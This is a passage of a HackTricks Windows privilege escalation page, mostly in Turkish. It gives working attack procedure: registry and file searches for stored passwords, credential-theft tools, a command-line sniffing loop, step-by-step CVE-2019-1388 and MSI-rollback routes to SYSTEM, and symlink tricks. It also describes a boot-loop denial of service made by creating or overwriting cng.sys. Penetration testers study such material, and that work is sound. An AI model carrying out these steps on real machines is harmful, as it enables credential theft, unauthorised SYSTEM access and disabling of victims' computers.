reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Registry’den openssh keys çıkarın.
Tarayıcı Geçmişi
Chrome veya Firefox içinde saklanan password’ların bulunduğu db’leri kontrol etmelisiniz.
Ayrıca tarayıcıların history, bookmarks ve favourites kısımlarını da kontrol edin; böylece bazı passwords are oralarda saklanmış olabilir.
Tarayıcılardan password çıkarmak için araçlar:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM), Windows işletim sistemi içine yerleştirilmiş ve farklı dillerdeki yazılım bileşenleri arasında intercommunication sağlayan bir teknolojidir. Her COM bileşeni bir class ID (CLSID) ile tanımlanır ve her bileşen, interface ID’ler (IIDs) ile tanımlanan bir veya daha fazla interface üzerinden işlevsellik sunar.
COM class ve interface’leri registry içinde sırasıyla HKEY\CLASSES\ROOT\CLSID ve HKEY\CLASSES\ROOT\Interface altında tanımlanır. Bu registry, HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT. birleştirilerek oluşturulur.
Bu registry’nin CLSID’leri içinde, bir DLL’i işaret eden bir default value ve Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) veya Neutral (Thread Neutral) olabilen ThreadingModel adında bir değer içeren child registry InProcServer32 bulunabilir.
.png)
Temelde, çalıştırılacak DLL’lerin herhangi birinin üzerine yazabilirseniz, o DLL başka bir kullanıcı tarafından çalıştırılacaksa privileges yükseltebilirsiniz.
Saldırganların persistence mekanizması olarak COM Hijacking’i nasıl kullandığını öğrenmek için şuraya bakın:
Dosyalarda ve registry’de Generic Password arama
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Belirli bir dosya adıyla bir dosya arayın
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Registry’de anahtar adlarını ve parolaları arayın
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Şifreleri arayan araçlar
MSF-Credentials Plugin bir msf eklentisidir; bu eklentiyi, kurban içinde kimlik bilgilerini arayan tüm metasploit POST modüllerini otomatik olarak çalıştırmak için oluşturdum.
Winpeas bu sayfada bahsedilen şifreleri içeren tüm dosyaları otomatik olarak arar.
Lazagne bir sistemden şifre çıkarmak için başka harika bir araçtır.
SessionGopher aracı, bu verileri düz metin olarak kaydeden birkaç aracın sessions, kullanıcı adları ve şifrelerini arar (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
SYSTEM olarak çalışan bir process yeni bir process açtığını (OpenProcess()) ve tam erişim aldığını hayal edin. Aynı process ayrıca düşük yetkilerle yeni bir process oluşturur (CreateProcess()), ancak ana process’in tüm open handles’larını miras bırakır.
Sonra, eğer düşük ayrıcalıklı process’e tam erişiminiz varsa, OpenProcess() ile oluşturulan ayrıcalıklı process’e ait open handle’ı alabilir ve bir shellcode inject edebilirsiniz.
Bu vulnerability’nin nasıl tespit edileceği ve exploit edileceği hakkında daha fazla bilgi için bu örneği okuyun.
Different permission seviyeleriyle miras alınan process ve thread’lerdeki daha fazla open handlers’ı nasıl test edip abuse edeceğinize dair daha kapsamlı bir açıklama için bu diğer postu okuyun (yalnızca full access değil).
Named Pipe Client Impersonation
Pipes olarak anılan paylaşımlı memory segments, process iletişimini ve veri transferini sağlar.
Windows, ilişkisiz process’lerin farklı networks üzerinden bile veri paylaşmasına izin veren Named Pipes adlı bir feature sunar. Bu, rolleri named pipe server ve named pipe client olarak tanımlanan bir client/server architecture’a benzer.
Bir client tarafından pipe üzerinden veri gönderildiğinde, pipe’ı kuran server, gerekli SeImpersonate rights’a sahipse, client’ın kimliğini üstlenebilir. Mimike edebileceğiniz bir pipe üzerinden iletişim kuran ayrıcalıklı bir process belirlemek, kurduğunuz pipe ile etkileşime girdiğinde o process’in kimliğini benimseyerek daha yüksek privileges elde etme fırsatı sağlar. Böyle bir attack’ı nasıl gerçekleştireceğinize dair talimatlar için faydalı rehberleri burada ve burada bulabilirsiniz.
Ayrıca aşağıdaki tool, burp gibi bir tool ile named pipe communication’ı intercept etmeye izin verir: https://github.com/gabriel-sztejnworcel/pipe-intercept ve bu tool tüm pipes’ları listeleyip görmek ve privescs bulmak için kullanılır https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
Server mode’daki Telephony service (TapiSrv), \\pipe\\tapsrv (MS-TRP) üzerinden erişim sunar. Uzaktan kimliği doğrulanmış bir client, mailslot tabanlı async event path’i abuse ederek ClientAttach’i, NETWORK SERVICE tarafından yazılabilir mevcut herhangi bir file’a karşı keyfi bir 4-byte write’a dönüştürebilir; ardından Telephony admin rights kazanıp service olarak keyfi bir DLL load edebilir. Tam akış:
pszDomainUserwritable mevcut bir path’e ayarlanmış şekildeClientAttach→ service bunuCreateFileW(..., OPEN_EXISTING)ile açar ve async event writes için kullanır.- Her event,
Initializeiçindeki attacker-controlledInitContextdeğerini o handle’a yazar.LRegisterRequestRecipient(Req_Func 61) ile bir line app kaydedin,TRequestMakeCall(Req_Func 121) tetikleyin,GetAsyncEvents(Req_Func 0) ile alın, sonra deterministic writes’i tekrarlamak için unregister/shutdown yapın. C:\Windows\TAPI\tsec.iniiçine kendinizi[TapiAdministrators]grubuna ekleyin, yeniden bağlanın, ardındanTSPI_providerUIIdentify’iNETWORK SERVICEolarak çalıştırmak için keyfi bir DLL path ileGetUIDllNameçağırın.
Daha fazla detay:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
https://filesec.io/ sayfasına bakın
Protocol handler / ShellExecute abuse via Markdown renderers
ShellExecuteExW’ye iletilen tıklanabilir Markdown links, tehlikeli URI handlers’ları (file:, ms-appinstaller: veya kayıtlı herhangi bir scheme) tetikleyebilir ve attacker-controlled dosyaları current user olarak çalıştırabilir. Bakınız:
Protocol Handler Shell Execute Abuse
Monitoring Command Lines for passwords
Bir user olarak shell aldığınızda, command line üzerinde credentials geçiren scheduled tasks veya diğer process’ler çalışıyor olabilir. Aşağıdaki script, process command lines’ı her iki saniyede bir yakalar ve mevcut durumu önceki durumla karşılaştırarak farkları çıktı olarak verir.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Processeslerden parolaları çalmak
Düşük Ayrıcalıklı Kullanıcıdan NT\AUTHORITY SYSTEM’e (CVE-2019-1388) / UAC Bypass
Eğer grafik arayüze erişiminiz varsa (console veya RDP üzerinden) ve UAC etkinse, Microsoft Windows’un bazı sürümlerinde ayrıcalıksız bir kullanıcıdan bir terminal ya da “NT\AUTHORITY SYSTEM” gibi başka herhangi bir process çalıştırmak mümkündür.
Bu, aynı vulnerability ile hem ayrıcalıkları yükseltmeyi hem de aynı anda UAC bypass yapmayı mümkün kılar. Ayrıca hiçbir şey install etmeye gerek yoktur ve süreç sırasında kullanılan binary, Microsoft tarafından imzalanmış ve yayınlanmıştır.
Etkilenen sistemlerden bazıları şunlardır:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Bu vulnerability’yi exploit etmek için aşağıdaki adımları gerçekleştirmek gerekir:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Administrator Medium’den High Integrity Level’e / UAC Bypass
Integrity Level’ler hakkında öğrenmek için bunu oku:
Sonra UAC ve UAC bypass’ları hakkında öğrenmek için bunu oku:
Arbitrary Folder Delete/Move/Rename’den SYSTEM EoP’ye
Bu blog yazısında anlatılan teknik ve burada mevcut exploit code.
Saldırı temelde, uninstall sırasında meşru dosyaları malicious olanlarla değiştirmek için Windows Installer’ın rollback özelliğini abuse etmeye dayanır. Bunun için attacker, daha sonra Windows Installer tarafından diğer MSI paketlerinin uninstall işlemi sırasında rollback files depolamak için kullanılacak olan C:\Config.Msi klasörünü hijack etmek için kullanılacak malicious bir MSI installer oluşturmalıdır; bu sırada rollback files malicious payload içerecek şekilde modify edilmiş olacaktır.
Özetlenen teknik şöyledir:
- Aşama 1 – Hijack için hazırlık (
C:\Config.Msiboş bırakılır)
-
Adım 1: MSI’ı install et
-
TARGETDIRiçinde yazılabilir bir klasöre zararsız bir file (ör.dummy.txt) install eden bir.msioluştur. -
Installer’ı “UAC Compliant” olarak işaretle, böylece non-admin user bunu çalıştırabilir.
-
Install işleminden sonra dosyaya açık bir handle bırak.
-
Adım 2: Uninstall’ı başlat
-
Aynı
.msi’yi uninstall et. -
Uninstall process dosyaları
C:\Config.Msiiçine taşımaya ve bunları.rbffiles (rollback backups) olarak yeniden adlandırmaya başlar. -
Dosya
C:\Config.Msi\<random>.rbfolduğunda bunu tespit etmek için açık file handle üzerindeGetFinalPathNameByHandleile poll et. -
Adım 3: Custom Syncing
-
.msiiçinde bir custom uninstall action (SyncOnRbfWritten) bulunur; bu action: -
.rbfyazıldığında signal verir. -
Ardından uninstall devam etmeden önce başka bir event üzerinde wait eder.
-
Adım 4:
.rbfSilinmesini Engelle -
Signal verildiğinde,
.rbffile’ınıFILE_SHARE_DELETEolmadan open et — bu, onun silinmesini engeller. -
Sonra uninstall işleminin bitmesi için geri signal ver.
-
Windows Installer
.rbf’i silmeyi başaramaz ve tüm içerikleri silemediği içinC:\Config.Msikaldırılmaz. -
Adım 5:
.rbf’i Elle Sil -
Sen (attacker)
.rbffile’ını manuel olarak sil. -
Şimdi
C:\Config.Msiboştur, hijack edilmeye hazırdır.
Bu noktada, SYSTEM-level arbitrary folder delete vulnerability’yi tetikleyerek
C:\Config.Msi’yi sil.
- Aşama 2 – Rollback Script’lerini Malicious Olanlarla Değiştirme
-
Adım 6:
C:\Config.Msi’yi Zayıf ACL’lerle Yeniden Oluştur -
C:\Config.Msiklasörünü kendin yeniden oluştur. -
weak DACLs ayarla (ör. Everyone:F) ve
WRITE_DACile açık bir handle bırak. -
Adım 7: Başka Bir Install Çalıştır
-
.msi’yi tekrar install et, şu ayarlarla: -
TARGETDIR: Yazılabilir konum. -
ERROROUT: forced failure tetikleyen bir variable. -
Bu install,
.rbsve.rbfokuyan rollback’i tekrar tetiklemek için kullanılacaktır. -
Adım 8:
.rbsiçin İzle -
C:\Config.Msiiçinde yeni bir.rbsgörünene kadarReadDirectoryChangesWkullanarak izle. -
Dosya adını yakala.
-
Adım 9: Rollback’ten Önce Sync
-
.msiiçinde bir custom install action (SyncBeforeRollback) bulunur; bu action: -
.rbsoluşturulduğunda bir event signal eder. -
Ardından devam etmeden önce wait eder.
-
Adım 10: Weak ACL’leri Yeniden Uygula
-
.rbs createdevent’ini aldıktan sonra: -
Windows Installer,
C:\Config.Msiüzerine güçlü ACL’leri yeniden uygular. -
Ama sende hâlâ
WRITE_DACile bir handle olduğu için, weak ACL’leri tekrar uygulayabilirsin.
ACL’ler yalnızca handle open sırasında enforced edilir, bu yüzden klasöre hâlâ yazabilirsin.
-
Adım 11: Sahte
.rbsve.rbfBırak -
.rbsfile’ını Windows’a şunu yaptıracak bir sahte rollback script ile overwrite et: -
Senin
.rbffile’ını (malicious DLL) privileged location içine geri yükle (ör.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
İçinde malicious SYSTEM-level payload DLL bulunan sahte
.rbf’ini bırak. -
Adım 12: Rollback’i Tetikle
-
Sync event’ini signal et, böylece installer devam eder.
-
Bir type 19 custom action (
ErrorOut) install’ı bilerek, belirlenmiş bir noktada fail edecek şekilde ayarlanmıştır. -
Bu, rollback’in başlamasına neden olur.
-
Adım 13: SYSTEM DLL’ini Kurar
-
Windows Installer:
-
Senin malicious
.rbs’ini okur. -
.rbfDLL’ini target location’a kopyalar. -
Artık SYSTEM-loaded path içinde malicious DLL’in vardır.
-
Son Adım: SYSTEM Code Çalıştır
-
Güvenilir bir auto-elevated binary (ör.
osk.exe) çalıştır ve hijack ettiğin DLL’i yüklet. -
Boom: Code’un SYSTEM olarak çalışır.
Arbitrary File Delete/Move/Rename’den SYSTEM EoP’ye
Ana MSI rollback tekniği (bir önceki), bir tüm folder’ı (ör. C:\Config.Msi) silebildiğini varsayar. Peki vulnerability’ın yalnızca arbitrary file deletion sağlıyorsa ?
NTFS internals’ı abuse edebilirsin: her folder’ın hidden bir alternate data stream’i vardır:
C:\SomeFolder::$INDEX_ALLOCATION
Bu akış, klasörün index metadata bilgisini depolar.
Dolayısıyla, bir klasörün ::$INDEX_ALLOCATION stream’ini silerseniz, NTFS klasörü dosya sisteminden tamamen kaldırır.
Bunu, şu gibi standart dosya silme API’lerini kullanarak yapabilirsiniz:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Bir file delete API çağırıyor olsanız bile, klasörün kendisini siler.
Folder Contents Delete’dan SYSTEM EoP’ye
Ya ilkeliniz keyfi dosyaları/klasörleri silmenize izin vermiyorsa, ama bir saldırganın kontrol ettiği bir folder’ın içeriğini silmenize izin veriyorsa?
- Adım 1: Bir bait folder ve file oluşturun
- Oluştur:
C:\temp\folder1 - İçine:
C:\temp\folder1\file1.txt
- Adım 2:
file1.txtüzerine bir oplock yerleştirin
- Oplock, ayrıcalıklı bir process
file1.txtsilmeye çalıştığında çalışmayı duraklatır.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Adım: SYSTEM sürecini tetikle (ör.
SilentCleanup)
- Bu süreç klasörleri tarar (ör.
%TEMP%) ve içeriklerini silmeye çalışır. file1.txt’ye ulaştığında, oplock tetiklenir ve kontrolü callback’ine devreder.
- Adım: oplock callback içinde – silme işlemini yönlendir
-
Seçenek A:
file1.txt’yi başka bir yere taşı -
Bu, oplock’u bozmadan
folder1’i boşaltır. -
file1.txt’yi doğrudan silme — bu, oplock’u erken serbest bırakır. -
Seçenek B:
folder1’i bir junction’a dönüştür:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Seçenek C:
\RPC Controliçinde bir symlink oluşturun:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
This targets the NTFS internal stream that stores folder metadata — deleting it deletes the folder.
- Step 5: Release the oplock
- SYSTEM süreci devam eder ve
file1.txtdosyasını silmeye çalışır. - Ancak şimdi, junction + symlink nedeniyle, aslında şunu siliyor:
C:\Config.Msi::$INDEX_ALLOCATION
Sonuç: C:\Config.Msi SYSTEM tarafından silinir.
Keyfi Klasör Oluşturmadan Kalıcı DoS’a
SYSTEM/admin olarak keyfi bir klasör oluşturmanı sağlayan bir primitive’i istismar et — dosya yazamasan ya da zayıf izinler ayarlayamasan bile.
Kritik bir Windows driver adını taşıyan bir klasör (dosya değil) oluştur, örneğin:
C:\Windows\System32\cng.sys
- Bu yol normalde
cng.syskernel-mode driver’ına karşılık gelir. - Eğer bunu önceden bir klasör olarak oluşturursan, Windows boot sırasında gerçek driver’ı yükleyemez.
- Ardından Windows, boot sırasında
cng.sysyüklemeye çalışır. - Klasörü görür, gerçek driver’ı çözümleyemez, ve çöker ya da boot’u durdurur.
- Fallback yoktur, ve harici müdahale olmadan (boot repair veya disk erişimi gibi) kurtarma yoktur.
Ayrıcalıklı log/backup path’lerinden + OM symlinks ile keyfi dosya overwrite / boot DoS
Bir privileged service, log/export çıktısını bir writable config dosyasından okunan bir path’e yazıyorsa, o path’i Object Manager symlinks + NTFS mount points ile yönlendirerek ayrıcalıklı yazmayı keyfi overwrite’a dönüştürürsün (hatta SeCreateSymbolicLinkPrivilege olmadan bile).
Gereksinimler
- Hedef path’i tutan config attacker tarafından writable olmalı (ör.
%ProgramData%\...\.ini). \RPC Control’a mount point ve bir OM file symlink oluşturabilme yeteneği (James Forshaw symboliclink-testing-tools).- O path’e yazan ayrıcalıklı bir işlem (log, export, report).
Örnek zincir
- Privileged log destination’ı geri almak için config’i oku, ör.
C:\ProgramData\ICONICS\IcoSetup64.iniiçindeSMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt. - Admin olmadan path’i yönlendir:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- Ayrıcalıklı bileşenin log yazmasını bekleyin (örneğin, admin “send test SMS” tetikler). Yazma artık
C:\Windows\System32\cng.syskonumuna düşer. - Üzerine yazılmış hedefi (hex/PE parser) inceleyerek bozulmayı doğrulayın; yeniden başlatma Windows’un değiştirilmiş driver yolunu yüklemesini zorlar → boot loop DoS. Bu, ayrıcalıklı bir service’in yazmak için açacağı korumalı herhangi bir file için de genellenebilir.
cng.sysnormaldeC:\Windows\System32\drivers\cng.syskonumundan yüklenir, ancakC:\Windows\System32\cng.sysiçinde bir kopya varsa önce o denenebilir; bu da bozuk data için güvenilir bir DoS sink yapar.
High Integrity’den System’e
Yeni service
Eğer zaten High Integrity bir process üzerinde çalışıyorsanız, SYSTEM’e giden yol sadece yeni bir service oluşturup çalıştırmak kadar kolay olabilir:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Bir service binary oluştururken bunun geçerli bir service olduğundan veya binary’nin gerekli aksiyonları mümkün olan en kısa sürede gerçekleştirdiğinden emin olun; aksi halde geçerli bir service değilse 20 saniye içinde öldürülür.
AlwaysInstallElevated
High Integrity bir process’ten AlwaysInstallElevated registry entries’yi enable etmeyi ve bir .msi wrapper kullanarak bir reverse shell install etmeyi deneyebilirsiniz.
İlgili registry key’ler hakkında daha fazla bilgi ve bir .msi package’ın nasıl install edileceği burada.
High + SeImpersonate privilege to System
Kodu burada bulabilirsiniz.
From SeDebug + SeImpersonate to Full Token privileges
Eğer bu token privileges’lere sahipseniz (muhtemelen bunu zaten High Integrity bir process içinde bulacaksınız), SeDebug privilege ile neredeyse herhangi bir process’i açabilir (protected process’ler hariç), process’in token’ını kopyalayabilir ve o token ile keyfi bir process oluşturabilirsiniz.
Bu technique genellikle SYSTEM olarak çalışan ve tüm token privileges’lere sahip herhangi bir process’i seçmek için kullanılır (evet, tüm token privileges’lere sahip olmayan SYSTEM process’ler bulabilirsiniz).
Önerilen technique’i çalıştıran kod örneğini burada bulabilirsiniz.
Named Pipes
Bu technique, meterpreter tarafından getsystem içinde privilege escalation için kullanılır. Technique, bir pipe oluşturup sonra o pipe’a yazacak bir service oluşturmak veya abuse etmekten oluşur. Ardından, SeImpersonate privilege’ını kullanarak pipe’ı oluşturan server, pipe client’ının (service’in) token’ını impersonate edebilecek ve SYSTEM privileges elde edecektir.
Name pipes hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız.
High integrity’den name pipes kullanarak System’e nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız.
Dll Hijacking
Eğer SYSTEM olarak çalışan bir process tarafından loaded edilen bir dll’i hijack etmeyi başarırsanız, bu permissions ile keyfi code execute edebilirsiniz. Bu nedenle Dll Hijacking bu tür privilege escalation için de kullanışlıdır ve ayrıca high integrity bir process’ten çok daha kolay elde edilir, çünkü dll’lerin load edilmesinde kullanılan klasörler üzerinde write permissions’a sahip olur.
Dll hijacking hakkında daha fazla bilgiyi burada öğrenebilirsiniz.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Oku: https://github.com/itm4n/FullPowers
More help
Useful tools
Windows local privilege escalation vektörlerini bulmak için en iyi tool: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Misconfiguration ve sensitive files için kontrol eder (burada kontrol edin). Detected.
JAWS – Bazı olası misconfiguration’ları kontrol eder ve info toplar (burada kontrol edin).
privesc – Misconfiguration’ları kontrol eder
SessionGopher – PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP saved session bilgilerini çıkarır. Lokal kullanımda -Thorough kullanın.
Invoke-WCMDump – Credential Manager’dan crendentials çıkarır. Detected.
DomainPasswordSpray – Toplanan şifreleri domain genelinde spray eder
Inveigh – Inveigh bir PowerShell ADIDNS/LLMNR/mDNS spoofer ve man-in-the-middle tool’udur.
WindowsEnum – Temel privesc Windows enumerationSherlock ~~~~ – Bilinen privesc vulnerabilities’ları arar (Watson için DEPRECATED)WINspect – Local checks (Admin rights gerekli)
Exe
Watson – Bilinen privesc vulnerabilities’ları arar (VisualStudio kullanılarak compile edilmesi gerekir) (precompiled)
SeatBelt – Misconfiguration arayan host’u enumerate eder (privesc’ten çok info toplama tool’u) (compile edilmesi gerekir) (precompiled)
LaZagne – Birçok software’den credentials çıkarır (github’da precompiled exe var)
SharpUP – PowerUp’ın C# portuBeroot ~~~~ – Misconfiguration kontrol eder (github’da precompiled executable). Tavsiye edilmez. Win10’da iyi çalışmaz.Windows-Privesc-Check – Olası misconfiguration’ları kontrol eder (python’dan exe). Tavsiye edilmez. Win10’da iyi çalışmaz.
Bat
winPEASbat – Bu post’a dayanarak oluşturulmuş tool (doğru çalışması için accesschk gerekmez ama kullanabilir).
Local
Windows-Exploit-Suggester – systeminfo çıktısını okur ve çalışan exploits önerir (local python)
Windows Exploit Suggester Next Generation – systeminfo çıktısını okur ve çalışan exploits önerir (local python)
Meterpreter
multi/recon/local_exploit_suggestor
Projeyi doğru .NET sürümünü kullanarak compile etmeniz gerekir (buna bakın). Hedef host’taki kurulu .NET sürümünü görmek için şunu yapabilirsiniz:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
References
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 – Privileged File System Vulnerability Present in a SCADA System
-
ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


